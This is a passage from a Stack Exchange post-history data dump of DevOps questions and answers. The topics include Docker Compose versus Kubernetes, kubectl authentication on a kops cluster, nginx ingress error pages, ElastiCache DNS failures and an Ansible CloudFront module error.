  <row Id="42929" PostHistoryTypeId="5" PostId="13229" RevisionGUID="e0f87346-ae7f-493a-a2e7-b0ecf0ef42f9" CreationDate="2021-03-29T10:01:04.110" UserId="13356" Comment="added 2 characters in body" Text="I found Docker Compose just [release 1.28 on 2021-1-20][1] but as Kubernetes won the container orchestration war I am not sure where and why I may still need Docker Compose, under with case Docker Compose is a better option?&#xD;&#xA;&#xD;&#xA;I have a web app that consists of a php docker, a nodejs docker, a nginx docker. We host it at [aliyun][2] cloud service. In 2018 aliyun used docker swarm so we used docker compose but in 2020 we had switched k8s so I was wondering if it is still worth to learn docker compose ?&#xD;&#xA;&#xD;&#xA;--- update ----&#xD;&#xA;&#xD;&#xA;I found this 2 articles were helpful&#xD;&#xA;&#xD;&#xA;1. [Why do I need Compose if I already have Kubernetes?][3] a docker blog published in 2018&#xD;&#xA;2. https://stackoverflow.com/questions/47536536/whats-the-difference-between-docker-compose-and-kubernetes an answer is what I do currently:&#xD;&#xA;&#xD;&#xA;&gt; If you are networking containers within the same host go for docker&#xD;&#xA;&gt; compose.&#xD;&#xA;&gt; &#xD;&#xA;&gt; If you are networking containers across multiple hosts go for&#xD;&#xA;&gt; kubernetes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose/release-notes/&#xD;&#xA;  [2]: https://www.aliyun.com/&#xD;&#xA;  [3]: https://www.docker.com/blog/simplifying-kubernetes-with-docker-compose-and-friends/" ContentLicense="CC BY-SA 4.0" />
  <row Id="42931" PostHistoryTypeId="50" PostId="12665" RevisionGUID="30f4146c-6738-40be-992e-11380b46f8b3" CreationDate="2021-03-29T11:04:50.577" UserId="-1" />
  <row Id="42933" PostHistoryTypeId="5" PostId="13229" RevisionGUID="04faa13e-dc53-4183-ad9e-ce7342905495" CreationDate="2021-03-29T11:24:37.353" UserId="13356" Comment="added 162 characters in body" Text="I found Docker Compose just [release 1.28 on 2021-1-20][1] but as Kubernetes won the container orchestration war I am not sure where and why I may still need Docker Compose, under with case Docker Compose is a better option?&#xD;&#xA;&#xD;&#xA;I have a web app that consists of a php docker, a nodejs docker, a nginx docker. We host it at [aliyun][2] cloud service. In 2018 aliyun used docker swarm so we used docker compose but in 2020 we had switched k8s so I was wondering if it is still worth to learn docker compose ?&#xD;&#xA;&#xD;&#xA;--- update ----&#xD;&#xA;&#xD;&#xA;I found these articles were helpful&#xD;&#xA;&#xD;&#xA;1. [Why do I need Compose if I already have Kubernetes?][3] a docker blog published in 2018&#xD;&#xA;2. [Docker Swarm vs. Kubernetes for Single-Host Implementations][4]&#xD;&#xA;3. https://stackoverflow.com/questions/47536536/whats-the-difference-between-docker-compose-and-kubernetes an answer is what I do currently:&#xD;&#xA;&#xD;&#xA;&gt; If you are networking containers within the same host go for docker&#xD;&#xA;&gt; compose.&#xD;&#xA;&gt; &#xD;&#xA;&gt; If you are networking containers across multiple hosts go for&#xD;&#xA;&gt; kubernetes.&#xD;&#xA;&#xD;&#xA;And that is what docker compose document said  https://docs.docker.com/compose/#common-use-cases&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose/release-notes/&#xD;&#xA;  [2]: https://www.aliyun.com/&#xD;&#xA;  [3]: https://www.docker.com/blog/simplifying-kubernetes-with-docker-compose-and-friends/&#xD;&#xA;  [4]: https://victorops.com/blog/docker-swarm-vs-kubernetes-for-single-host-implementations" ContentLicense="CC BY-SA 4.0" />
  <row Id="42937" PostHistoryTypeId="2" PostId="13631" RevisionGUID="a39553f0-e9c8-484d-afe1-f504e4f0b8f6" CreationDate="2021-03-30T08:30:05.693" UserId="12616" Text="I have a badic understanding of both kube-proxy and Linkerd, but what i dont understand is how they overlap. When i apply new deployment with fx a ReplicaSet + a ClusterIP service, kube-proxy translate the service to entries in iptables, but if i tag the deployment correctly, Linkerd is applied, also updating iptables. Isn't the service completely unnecessary, because Linkerd handles the proxy and directing the traffic. " ContentLicense="CC BY-SA 4.0" />
  <row Id="42938" PostHistoryTypeId="1" PostId="13631" RevisionGUID="a39553f0-e9c8-484d-afe1-f504e4f0b8f6" CreationDate="2021-03-30T08:30:05.693" UserId="12616" Text="Linkerd vs kube-proxy" ContentLicense="CC BY-SA 4.0" />
  <row Id="42939" PostHistoryTypeId="3" PostId="13631" RevisionGUID="a39553f0-e9c8-484d-afe1-f504e4f0b8f6" CreationDate="2021-03-30T08:30:05.693" UserId="12616" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="42940" PostHistoryTypeId="5" PostId="13631" RevisionGUID="d9a49c5e-b54a-4304-a91a-3b8968843c52" CreationDate="2021-03-30T08:48:54.753" UserId="12616" Comment="typo" Text="I have a basic understanding of both kube-proxy and Linkerd, but what i dont understand is how they overlap. When i apply new deployment with fx a ReplicaSet + a ClusterIP service, kube-proxy translate the service to entries in iptables, but if i tag the deployment correctly, Linkerd is applied, also updating iptables. Isn't the service completely unnecessary, because Linkerd handles the proxy and directing the traffic. " ContentLicense="CC BY-SA 4.0" />
  <row Id="42941" PostHistoryTypeId="2" PostId="13632" RevisionGUID="a06c537e-8b9c-4ce2-9eb7-e4d24c48ce20" CreationDate="2021-03-30T09:45:57.313" UserId="26889" Text="I created one kubernetes cluster using `kops` and deployed it in aws (not eks manual cluster using kops)&#xD;&#xA;&#xD;&#xA;Then I export in my local machine the configuration like&#xD;&#xA;`kops export kubecfg --state ${KOPS_STATE_STORE} --name ${NAME}`&#xD;&#xA;&#xD;&#xA;Then running any kubectl command asks for username, even kubectl version&#xD;&#xA;```&#xD;&#xA; kubectl version&#xD;&#xA;Please enter Username: &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;PS: If I ssh into bastion host then ssh into k8s master node, kubectl works fine and its configuration is referring to local user created&#xD;&#xA;&#xD;&#xA;My local config created frome export command into ~/.kube/config looks like:&#xD;&#xA;```&#xD;&#xA;apiVersion: v1&#xD;&#xA;clusters:&#xD;&#xA;- cluster:&#xD;&#xA;    certificate-authority-data: fakedata=&#xD;&#xA;    server: https://api-test-intern-doesntmatter.eu-central-1.elb.amazonaws.com&#xD;&#xA;  name: test-internet.k8s.local&#xD;&#xA;contexts:&#xD;&#xA;- context:&#xD;&#xA;    cluster: test-internet.k8s.local&#xD;&#xA;    user: test-internet.k8s.local&#xD;&#xA;  name: test-internet.k8s.local&#xD;&#xA;current-context: test-internet.k8s.local&#xD;&#xA;kind: Config&#xD;&#xA;preferences: {}&#xD;&#xA;users:&#xD;&#xA;- name: test-internet.k8s.local&#xD;&#xA;  user: {}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And with the config above I cannot do any kubectl command.&#xD;&#xA;Where can I find the username and password for kubectl ?&#xD;&#xA;I have set authentication as rbac for the cluster and no limitations.&#xD;&#xA;&#xD;&#xA;I read all article here https://kubernetes.io/docs/reference/access-authn-authz/authentication/ and still do not understand what is the default username password why am I asked for such credentials I haven't created any role or user" ContentLicense="CC BY-SA 4.0" />
  <row Id="42942" PostHistoryTypeId="1" PostId="13632" RevisionGUID="a06c537e-8b9c-4ce2-9eb7-e4d24c48ce20" CreationDate="2021-03-30T09:45:57.313" UserId="26889" Text="kubectl asking for username (k8s cluster created via kops)" ContentLicense="CC BY-SA 4.0" />
  <row Id="42943" PostHistoryTypeId="3" PostId="13632" RevisionGUID="a06c537e-8b9c-4ce2-9eb7-e4d24c48ce20" CreationDate="2021-03-30T09:45:57.313" UserId="26889" Text="&lt;kubernetes&gt;&lt;kubectl&gt;&lt;kops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="42944" PostHistoryTypeId="2" PostId="13633" RevisionGUID="3feef860-6789-441b-a424-69911c4312b5" CreationDate="2021-03-30T09:54:58.823" UserId="26889" Text="I solved this temporarily with not the safest solution, but is working&#xD;&#xA;When creating secret with kops named admin, can use that to generate user field in exported kops config by adding also&#xD;&#xA;&#xD;&#xA;`--admin` in the export command" ContentLicense="CC BY-SA 4.0" />
  <row Id="42945" PostHistoryTypeId="2" PostId="13634" RevisionGUID="4377a059-e18f-45d7-8516-ee8c44327b61" CreationDate="2021-03-30T11:14:41.210" UserId="3525" Text="Just for the sake of completeness: Redis documentation https://redislabs.com/ebook/part-3-next-steps/chapter-10-scaling-redis/&#xD;&#xA;suggest a general rule of thumb - add replicas for reads, add shards for writes and memory capacity.  And it does make sense. &#xD;&#xA;&#xD;&#xA;The replica can have a complete copy of its shard. The more shards the smaller they are. Also writing to one shard does not limit other ones. &#xD;&#xA;&#xD;&#xA;If the only concern is reading, then replicas are the simplest solution. &#xD;&#xA;&#xD;&#xA;If you need both, just combine." ContentLicense="CC BY-SA 4.0" />
  <row Id="42946" PostHistoryTypeId="2" PostId="13635" RevisionGUID="280d4b6d-7d87-417f-a2d4-e31c6566c831" CreationDate="2021-03-30T12:06:07.097" UserId="26892" Text="For a customer I need to create a glassfish container, containing the glassfish 5.0 release.&#xD;&#xA;&#xD;&#xA;I have been looking for standard glassfish images on docker hub, and other places, but can't manage to find a recent image containing a recent glassfish release. For some reason, I also can't find, glassfish isn't available on dockerhub anymore. Only thing I could find is a reference to glassfish server on dockerhub, but that's also gone for some unclear reason.&#xD;&#xA;&#xD;&#xA;Now am I correct to just use a clean docker image and create a new one where I install glassfish myself?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="42947" PostHistoryTypeId="1" PostId="13635" RevisionGUID="280d4b6d-7d87-417f-a2d4-e31c6566c831" CreationDate="2021-03-30T12:06:07.097" UserId="26892" Text="Untracable glassfish docker container image or clean installation?" ContentLicense="CC BY-SA 4.0" />
  <row Id="42948" PostHistoryTypeId="3" PostId="13635" RevisionGUID="280d4b6d-7d87-417f-a2d4-e31c6566c831" CreationDate="2021-03-30T12:06:07.097" UserId="26892" Text="&lt;docker&gt;&lt;docker-registry&gt;&lt;dockerhub&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="42953" PostHistoryTypeId="5" PostId="13611" RevisionGUID="b49a79e8-b493-412d-8e8e-904d4684e1db" CreationDate="2021-03-30T15:46:37.923" UserId="13139" Comment="Improve spelling" Text="I have a cluster installed on Openshift and used the Cluster Logging Operator and Elasticsearch Operator to enable logging on the cluster.&#xD;&#xA;&#xD;&#xA;On Kibana, I am only able to see the logs from certain namespaces and not all the namespaces I have. How do I configure Fluentd to read logs from all pods in all namespaces?&#xD;&#xA;&#xD;&#xA;I do not have a Fluentd service account (It was not created with the installation of the operator).&#xD;&#xA;&#xD;&#xA;Also, the namespaces from which I don't see any logs have a node selector mentioned in them. Could that be a reason why the logs are not available?" ContentLicense="CC BY-SA 4.0" />
  <row Id="42954" PostHistoryTypeId="4" PostId="13611" RevisionGUID="b49a79e8-b493-412d-8e8e-904d4684e1db" CreationDate="2021-03-30T15:46:37.923" UserId="13139" Comment="Improve spelling" Text="Fluentd unable to read logs from all namespaces" ContentLicense="CC BY-SA 4.0" />
  <row Id="42955" PostHistoryTypeId="24" PostId="13611" RevisionGUID="b49a79e8-b493-412d-8e8e-904d4684e1db" CreationDate="2021-03-30T15:46:37.923" Comment="Proposed by 13139 approved by 26604 edit id of 1362" ContentLicense="CC BY-SA 4.0" />
  <row Id="42956" PostHistoryTypeId="2" PostId="13637" RevisionGUID="4f70f7ea-b6aa-4350-b10a-b28c9ac9641b" CreationDate="2021-03-30T16:42:21.250" UserId="13139" Text="There is no built-in configuration/annotation to handle this.&#xD;&#xA;&#xD;&#xA;Although, you can use the [server-snippet][1] annotation to create a custom configuration that [intercepts][2] the error 503, proxying the request to a service that is serving your custom error page. Example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: networking.k8s.io/v1&#xD;&#xA;kind: Ingress&#xD;&#xA;metadata:&#xD;&#xA;  name: ingress&#xD;&#xA;  annotations:&#xD;&#xA;    kubernetes.io/ingress.class: &quot;nginx&quot;&#xD;&#xA;    nginx.ingress.kubernetes.io/server-snippet: |&#xD;&#xA;      proxy_intercept_errors on;&#xD;&#xA;      error_page 503 = @errorpages;&#xD;&#xA;      &#xD;&#xA;      location @errorpages {&#xD;&#xA;        proxy_set_header X-Code $status;&#xD;&#xA;        proxy_pass http://errors-svc.default.svc.cluster.local;&#xD;&#xA;      }&#xD;&#xA;spec:&#xD;&#xA;  rules:&#xD;&#xA;  - host: ameba.example.com&#xD;&#xA;    http:&#xD;&#xA;      paths:&#xD;&#xA;      - path: /&#xD;&#xA;        pathType: Prefix&#xD;&#xA;        backend:&#xD;&#xA;          service:&#xD;&#xA;            name: nginx&#xD;&#xA;            port:&#xD;&#xA;              number: 80&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/#server-snippet&#xD;&#xA;  [2]: http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_intercept_errors" ContentLicense="CC BY-SA 4.0" />
  <row Id="42957" PostHistoryTypeId="2" PostId="13638" RevisionGUID="75035a80-f6ec-4956-a798-e882b39b7e92" CreationDate="2021-03-30T17:17:35.673" UserId="12911" Text="What are the advantages of using AWS Codepipeline/code build for our pipeline over the bitbucket pipeline. ?&#xD;&#xA;&#xD;&#xA;Some of the factors that I can think of:&#xD;&#xA;&#xD;&#xA;Pricing?&#xD;&#xA;Pipeline for a serverless application&#xD;&#xA;integration with AWS services&#xD;&#xA;Speed of execution" ContentLicense="CC BY-SA 4.0" />
  <row Id="42958" PostHistoryTypeId="1" PostId="13638" RevisionGUID="75035a80-f6ec-4956-a798-e882b39b7e92" CreationDate="2021-03-30T17:17:35.673" UserId="12911" Text="Advantages of using Code-pipeline and Codebuild for CI/CD over Bitbucket pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="42959" PostHistoryTypeId="3" PostId="13638" RevisionGUID="75035a80-f6ec-4956-a798-e882b39b7e92" CreationDate="2021-03-30T17:17:35.673" UserId="12911" Text="&lt;amazon-web-services&gt;&lt;continuous-integration&gt;&lt;continuous-deployment&gt;&lt;bitbucket-pipelines&gt;&lt;aws-codepipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="42961" PostHistoryTypeId="5" PostId="13591" RevisionGUID="70543c05-cbe3-47ef-b8f0-307637d06489" CreationDate="2021-03-30T17:48:32.917" UserId="22660" Comment="I added my wireguard configuration because it seems as though that might be interfering with it." Text="## The Problem &amp; The Question&#xD;&#xA;&#xD;&#xA;I'm trying to create an AWS ElastiCache Redis-flavored cluster and connect to it from an instance in the same VPC. When I create the cluster initially, I can connect to it just fine via `redis-cli`. If I wait a day or two and then try to connect to it again via `redis-cli`, I get the following error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ redis-cli -h &lt;aws-elasticache-cluster-primary-endpoint&gt;&#xD;&#xA;Could not connect to Redis at &lt;aws-elasticache-cluster-primary-endpoint&gt;:6379: Name or service not known&#xD;&#xA;not connected&gt; &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I should be able to connect again with no issue. Why would I be getting DNS errors the next day when it worked initially? Nothing has changed about the cluster since I created it. How could I fix this?&#xD;&#xA;&#xD;&#xA;## Steps to Reproduce&#xD;&#xA;&#xD;&#xA;1. ElastiCache Dashboard -&gt; Redis -&gt; Create.&#xD;&#xA;1. Set the following options:&#xD;&#xA;&#xD;&#xA;   | Option | Value |&#xD;&#xA;   |:-------|:------|&#xD;&#xA;   | Cluster Engine | Redis |&#xD;&#xA;   | Location | Amazon Cloud |&#xD;&#xA;   | Engine version compatibility | 6.x |&#xD;&#xA;   | Port | 6379 |&#xD;&#xA;   | Parameter group | default.redis6.x |&#xD;&#xA;   | Node type | cache.t3.micro |&#xD;&#xA;   | Number of replicas | 0 |&#xD;&#xA;   | Multi-AZ | false |&#xD;&#xA;   | Subnet group | default |&#xD;&#xA;   | Security groups | default |&#xD;&#xA;   | Encryption at-rest | false |&#xD;&#xA;   | Encryption in-transit | false |&#xD;&#xA;&#xD;&#xA;1. Create.&#xD;&#xA;1. After creating, verify you can connect to the cluster with:&#xD;&#xA;&#xD;&#xA;   `redis-cli -h &lt;aws-elasticache-cluster-primary-endpoint&gt;`&#xD;&#xA;&#xD;&#xA;1. Disconnect.&#xD;&#xA;1. Try reconnecting with the same `redis-cli` command a few days later. You should see the errors shown in the section above.&#xD;&#xA;&#xD;&#xA;## Additional Information&#xD;&#xA;&#xD;&#xA;### `nping`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ sudo nping --tcp -p 6379 &lt;aws-elasticache-cluster-primary-endpoint&gt;&#xD;&#xA;Failed to resolve given hostname/IP: &lt;aws-elasticache-cluster-primary-endpoint&gt;.  Note that you can't use '/mask' AND '1-4,7,100-' style IP ranges&#xD;&#xA;Cannot find a valid target. Please make sure the specified hosts are either IP addresses in standard notation or hostnames that can be resolved with DNS&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;### `nslookup`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ sudo nslookup &lt;aws-elasticache-cluster-primary-endpoint&gt;&#xD;&#xA;Server:         75.75.75.75&#xD;&#xA;Address:        75.75.75.75#53&#xD;&#xA;&#xD;&#xA;** server can't find &lt;aws-elasticache-cluster-primary-endpoint&gt;: REFUSED&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;### Reachability Analyzer&#xD;&#xA;&#xD;&#xA;I followed [AWS' instructions](https://docs.aws.amazon.com/AmazonElastiCache/latest/red-ug/TroubleshootingConnections.html#Connectivity) for testing connectivity from my EC2 instance to the ElastiCache cluster. The results I got back for the connectivity were:&#xD;&#xA;&#xD;&#xA;| Reachability Status | State |&#xD;&#xA;|:---|:---|&#xD;&#xA;| Reachable | Succeeded |&#xD;&#xA;&#xD;&#xA;### Cluster Metrics&#xD;&#xA;&#xD;&#xA;| Metric | Value |&#xD;&#xA;|:-------|------:|&#xD;&#xA;| CPU Utilization | ~1.000% |&#xD;&#xA;| Engine CPU Utilization | ~0.283% |&#xD;&#xA;| Database Memory Usage Percentage | ~1.093% |&#xD;&#xA;&#xD;&#xA;### Local Wireguard configuration&#xD;&#xA;&#xD;&#xA;```conf&#xD;&#xA;[Interface]&#xD;&#xA;PrivateKey = &lt;value&gt;&#xD;&#xA;ListenPort = 21841&#xD;&#xA;Address = 10.0.0.2/32&#xD;&#xA;DNS = 9.9.9.9 # 75.75.75.75 75.75.76.76&#xD;&#xA;&#xD;&#xA;[Peer]&#xD;&#xA;PublicKey = &lt;value&gt;&#xD;&#xA;AllowedIPs = 0.0.0.0/0, ::/0&#xD;&#xA;Endpoint = &lt;public-IP&gt;:51820&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="42962" PostHistoryTypeId="6" PostId="13591" RevisionGUID="70543c05-cbe3-47ef-b8f0-307637d06489" CreationDate="2021-03-30T17:48:32.917" UserId="22660" Comment="I added my wireguard configuration because it seems as though that might be interfering with it." Text="&lt;amazon-web-services&gt;&lt;vpn&gt;&lt;redis&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="42963" PostHistoryTypeId="2" PostId="13639" RevisionGUID="5325d148-47e0-4562-9ca9-9d6e31378111" CreationDate="2021-03-30T17:55:09.197" UserId="25042" Text="I get an unexpected type error, for what I assume to be the &quot;origins&quot; argument to the community.aws.cloudfront_distribution module: **&quot;Error validating distribution origins: 'list' object has no attribute 'get'&quot;**&#xD;&#xA;&#xD;&#xA;The [documentation][1] says that **origins** should be a list with dictionary elements, which is what I have.&#xD;&#xA;&#xD;&#xA;Is this a bug, or a syntax error on my part?  I've checked my indentation and yaml thoroughly.&#xD;&#xA;&#xD;&#xA;The error message: &#xD;&#xA;```&#xD;&#xA;    &quot;msg&quot;: &quot;Error validating distribution origins: 'list' object has no attribute 'get'&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Ansible version:&#xD;&#xA;```bash&#xD;&#xA;ansible 2.10.7&#xD;&#xA;  config file = /home/bryant/src/api_guys/ansible-deploy-vst/ansible.cfg&#xD;&#xA;  configured module search path = ['/home/bryant/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules']&#xD;&#xA;  ansible python module location = /home/bryant/.pyenv/versions/vst-ansible-deployment/lib/python3.9/site-packages/ansible&#xD;&#xA;  executable location = /home/bryant/.pyenv/versions/vst-ansible-deployment/bin/ansible&#xD;&#xA;  python version = 3.9.1 (default, Feb 16 2021, 14:25:16) [GCC 9.3.0]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;My code, using `community.aws.cloudfront_distribution`: (it's long, but the error is in the **origins:** parameter, I believe)&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- name: Create Cloudfront distribution for the interface and api reverse proxy&#xD;&#xA;  community.aws.cloudfront_distribution:&#xD;&#xA;    profile: &quot;{{ vst_nongov_boto_profile }}&quot;&#xD;&#xA;    state: present&#xD;&#xA;    enabled: yes&#xD;&#xA;    caller_reference: &quot;{{ cloudfront_domain_alias }}&quot; &#xD;&#xA;    alias: &quot;{{ cloudfront_domain_alias }}&quot; &#xD;&#xA;    aliases:&#xD;&#xA;      - &quot;{{ cloudfront_domain_alias }}&quot;&#xD;&#xA;    origins:&#xD;&#xA;      # reverse proxy for api&#xD;&#xA;      - id: &quot;{{ base_domain }}&quot;&#xD;&#xA;        domain_name: &quot;{{ base_domain }}&quot;&#xD;&#xA;        custom_origin_config:&#xD;&#xA;          http_port: 80&#xD;&#xA;          https_port: 443&#xD;&#xA;          origin_keepalive_timeout: 5&#xD;&#xA;          origin_protocol_policy: &quot;https-only&quot;&#xD;&#xA;          origin_read_timeout: 10&#xD;&#xA;          origin_ssl_protocols:&#xD;&#xA;            - &quot;TLSv1.2&quot;&#xD;&#xA;      # s3 bucket for interface&#xD;&#xA;      - id: &quot;{{ s3_bucket_www_domain_name }}&quot;&#xD;&#xA;        domain_name: &quot;{{ s3_bucket_domain_name }}&quot; &#xD;&#xA;        custom_origin_config:&#xD;&#xA;          http_port: 80&#xD;&#xA;          https_port: 443&#xD;&#xA;          origin_keepalive_timeout: 5&#xD;&#xA;          origin_protocol_policy: &quot;http-only&quot;&#xD;&#xA;          origin_read_timeout: 10&#xD;&#xA;          origin_ssl_protocols:&#xD;&#xA;            - &quot;TLSv1.2&quot;&#xD;&#xA;    default_cache_behavior:&#xD;&#xA;      #   this contains as many settings as possible that are able to be&#xD;&#xA;      # replicated from the UI option caching policy&#xD;&#xA;      # &quot;Managed-CachingOptimized&quot;; some are guesses, which may need to be&#xD;&#xA;      # changed if we notice performance issues&#xD;&#xA;      target_origin_id: &quot;{{ s3_bucket_domain_name }}&quot; &#xD;&#xA;      forwarded_values:&#xD;&#xA;        allowed_methods:&#xD;&#xA;          - GET&#xD;&#xA;          - HEAD&#xD;&#xA;        items:&#xD;&#xA;          - GET&#xD;&#xA;          - HEAD&#xD;&#xA;        compress: yes&#xD;&#xA;        cookies:&#xD;&#xA;          forward: none&#xD;&#xA;        default_ttl: 86400&#xD;&#xA;        max_ttl: 31536000&#xD;&#xA;        min_ttl: 1&#xD;&#xA;        query_string: no&#xD;&#xA;        smooth_streaming: no&#xD;&#xA;        trusted_signers:&#xD;&#xA;          enabled: no&#xD;&#xA;        viewer_protocol_policy: &quot;redirect-to-https&quot;&#xD;&#xA;    cache_behaviors:&#xD;&#xA;      - path_pattern: &quot;api/*&quot;&#xD;&#xA;        target_origin_id: &quot;{{ base_domain }}&quot; &#xD;&#xA;        forwarded_values:&#xD;&#xA;          allowed_methods:&#xD;&#xA;            - GET&#xD;&#xA;            - HEAD&#xD;&#xA;          items:&#xD;&#xA;            - GET&#xD;&#xA;            - HEAD&#xD;&#xA;            - OPTIONS&#xD;&#xA;            - PUT&#xD;&#xA;            - POST&#xD;&#xA;            - PATCH&#xD;&#xA;            - DELETE&#xD;&#xA;          compress: no&#xD;&#xA;          cookies:&#xD;&#xA;            forward: all&#xD;&#xA;          default_ttl: 0&#xD;&#xA;          headers:&#xD;&#xA;            - Authorization&#xD;&#xA;            - Referer&#xD;&#xA;            - User-Agent&#xD;&#xA;          max_ttl: 0&#xD;&#xA;          min_ttl: 0&#xD;&#xA;          query_string: yes&#xD;&#xA;          query_string_cache_keys:&#xD;&#xA;            - '*'&#xD;&#xA;          smooth_streaming: no&#xD;&#xA;          trusted_signers:&#xD;&#xA;            enabled: no&#xD;&#xA;          viewer_protocol_policy: &quot;redirect-to-https&quot;&#xD;&#xA;      - path_pattern: &quot;testapi*&quot;&#xD;&#xA;        target_origin_id: &quot;{{ base_domain }}&quot; &#xD;&#xA;        forwarded_values:&#xD;&#xA;          allowed_methods:&#xD;&#xA;            - GET&#xD;&#xA;            - HEAD&#xD;&#xA;          items:&#xD;&#xA;            - GET&#xD;&#xA;            - HEAD&#xD;&#xA;          compress: no&#xD;&#xA;          cookies:&#xD;&#xA;            forward: all&#xD;&#xA;          default_ttl: 0&#xD;&#xA;          headers:&#xD;&#xA;            - Authorization&#xD;&#xA;            - User-Agent&#xD;&#xA;          max_ttl: 0&#xD;&#xA;          min_ttl: 0&#xD;&#xA;          query_string: yes&#xD;&#xA;          query_string_cache_keys:&#xD;&#xA;            - '*'&#xD;&#xA;          smooth_streaming: no&#xD;&#xA;          trusted_signers:&#xD;&#xA;            enabled: no&#xD;&#xA;          viewer_protocol_policy: &quot;redirect-to-https&quot;&#xD;&#xA;    custom_error_responses:&#xD;&#xA;      - error_caching_min_ttl: 10&#xD;&#xA;        error_code: 403&#xD;&#xA;        response_code: 200&#xD;&#xA;        response_page_path: &quot;/index.html&quot;&#xD;&#xA;      - error_caching_min_ttl: 10&#xD;&#xA;        error_code: 404&#xD;&#xA;        response_code: 200&#xD;&#xA;        response_page_path: &quot;/index.html&quot;&#xD;&#xA;    viewer_certificate:&#xD;&#xA;      acm_certificate_arn: &quot;{{ nongov_acm_cert_upload_result.certificate.arn }}&quot;&#xD;&#xA;      cloudfront_default_certificate: no&#xD;&#xA;      minimum_protocol_version: &quot;TLSv1.2_2019&quot;&#xD;&#xA;      ssl_support_method: &quot;sni-only&quot;&#xD;&#xA;    http_version: http2&#xD;&#xA;    ipv6_enabled: no&#xD;&#xA;    tags:&#xD;&#xA;      Name: &quot;{{ generic_name_tag }}&quot;&#xD;&#xA;    wait: yes&#xD;&#xA;    default_root_object: &quot;index.html&quot;&#xD;&#xA;    price_class: &quot;{{ cloudfront_price_class }}&quot;&#xD;&#xA;    comment: &quot;Cloudfront distribution for {{ base_interface_domain }} interface and API reverse proxy&quot;&#xD;&#xA;  notify: primary_cloudfront_invalidation&#xD;&#xA;  tags: cloudfront&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The full output, including the error:&#xD;&#xA;```&#xD;&#xA;TASK [aws_full_deployment : Create Cloudfront distribution for the interface and api reverse proxy] ***&#xD;&#xA;task path: /home/bryant/src/api_guys/ansible-deploy-vst/roles/aws_full_deployment/tasks/main.yml:501&#xD;&#xA;&lt;127.0.0.1&gt; ESTABLISH LOCAL CONNECTION FOR USER: bryant&#xD;&#xA;&lt;127.0.0.1&gt; EXEC /bin/sh -c 'echo ~bryant &amp;&amp; sleep 0'&#xD;&#xA;&lt;127.0.0.1&gt; EXEC /bin/sh -c '( umask 77 &amp;&amp; mkdir -p &quot;` echo /home/bryant/.ansible/tmp `&quot;&amp;&amp; mkdir &quot;` echo /home/bryant/.ansible/tmp/ansible-tmp-1616796020.2343066-177081-217806658917877 `&quot; &amp;&amp; echo ansible-tmp-1616796020.2343066-177081-217806658917877=&quot;` echo /home/bryant/.ansible/tmp/ansible-tmp-1616796020.2343066-177081-217806658917877 `&quot; ) &amp;&amp; sleep 0'&#xD;&#xA;Using module file /home/bryant/.ansible/collections/ansible_collections/community/aws/plugins/modules/cloudfront_distribution.py&#xD;&#xA;&lt;127.0.0.1&gt; PUT /home/bryant/.ansible/tmp/ansible-local-175967cbvvbt8u/tmpamrug82t TO /home/bryant/.ansible/tmp/ansible-tmp-1616796020.2343066-177081-217806658917877/AnsiballZ_cloudfront_distribution.py&#xD;&#xA;&lt;127.0.0.1&gt; EXEC /bin/sh -c 'chmod u+x /home/bryant/.ansible/tmp/ansible-tmp-1616796020.2343066-177081-217806658917877/ /home/bryant/.ansible/tmp/ansible-tmp-1616796020.2343066-177081-217806658917877/AnsiballZ_cloudfront_distribution.py &amp;&amp; sleep 0'&#xD;&#xA;&lt;127.0.0.1&gt; EXEC /bin/sh -c '/home/bryant/.pyenv/versions/vst-ansible-deployment/bin/python /home/bryant/.ansible/tmp/ansible-tmp-1616796020.2343066-177081-217806658917877/AnsiballZ_cloudfront_distribution.py &amp;&amp; sleep 0'&#xD;&#xA;&lt;127.0.0.1&gt; EXEC /bin/sh -c 'rm -f -r /home/bryant/.ansible/tmp/ansible-tmp-1616796020.2343066-177081-217806658917877/ &gt; /dev/null 2&gt;&amp;1 &amp;&amp; sleep 0'&#xD;&#xA;The full traceback is:&#xD;&#xA;Traceback (most recent call last):&#xD;&#xA;  File &quot;/tmp/ansible_community.aws.cloudfront_distribution_payload_vqd_hi9m/ansible_community.aws.cloudfront_distribution_payload.zip/ansible_collections/community/aws/plugins/modules/cloudfront_distribution.py&quot;, line 1665, in validate_origins&#xD;&#xA;  File &quot;/tmp/ansible_community.aws.cloudfront_distribution_payload_vqd_hi9m/ansible_community.aws.cloudfront_distribution_payload.zip/ansible_collections/community/aws/plugins/modules/cloudfront_distribution.py&quot;, line 1729, in validate_origin&#xD;&#xA;AttributeError: 'list' object has no attribute 'get'&#xD;&#xA;fatal: [localhost]: FAILED! =&gt; {&#xD;&#xA;    &quot;boto3_version&quot;: &quot;1.16.25&quot;,&#xD;&#xA;    &quot;botocore_version&quot;: &quot;1.19.25&quot;,&#xD;&#xA;    &quot;changed&quot;: false,&#xD;&#xA;    